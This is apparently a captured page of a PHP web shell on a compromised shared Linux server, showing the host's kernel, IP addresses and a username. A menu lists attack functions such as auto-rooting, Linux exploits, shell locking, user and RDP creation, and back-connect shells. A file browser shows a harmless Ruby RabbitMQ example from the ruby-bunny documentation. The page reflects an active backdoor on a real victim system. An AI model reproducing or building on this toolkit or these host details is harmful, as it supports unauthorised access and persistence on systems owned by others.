Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
ruby-bunny /
examples /
connection /
[ HOME SHELL ]
Name
Size
Permission
Action
authentication_failure.rb
341
B
-rw-r--r--
automatic_recovery_with_basic_...
812
B
-rw-r--r--
automatic_recovery_with_client...
796
B
-rw-r--r--
automatic_recovery_with_multip...
1.17
KB
-rw-r--r--
automatic_recovery_with_republ...
2.81
KB
-rw-r--r--
automatic_recovery_with_server...
728
B
-rw-r--r--
channel_level_exception.rb
590
B
-rw-r--r--
disabled_automatic_recovery.rb
719
B
-rw-r--r--
heartbeat.rb
234
B
-rw-r--r--
manually_reconnecting_consumer...
446
B
-rw-r--r--
manually_reconnecting_publishe...
412
B
-rw-r--r--
unknown_host.rb
327
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : disabled_automatic_recovery.rb
#!/usr/bin/env ruby # encoding: utf-8 require "bundler" Bundler.setup $:.unshift(File.expand_path("../../../lib", __FILE__)) require 'bunny' conn = Bunny.new(heartbeat_timeout: 8, automatically_recover: false) conn.start ch = conn.create_channel x = ch.topic("bunny.examples.recovery.topic", :durable => false) q = ch.queue("bunny.examples.recovery.client_named_queue2", :durable => true) q.purge q.bind(x, :routing_key => "abc").bind(x, :routing_key => "def") loop do sleep 1.5 body = rand.to_s puts "Published #{body}" x.publish(body, :routing_key => ["abc", "def"].sample) sleep 1.5 _, _, payload = q.pop if payload puts "Consumed #{payload}" else puts "Consumed nothing" end end
Close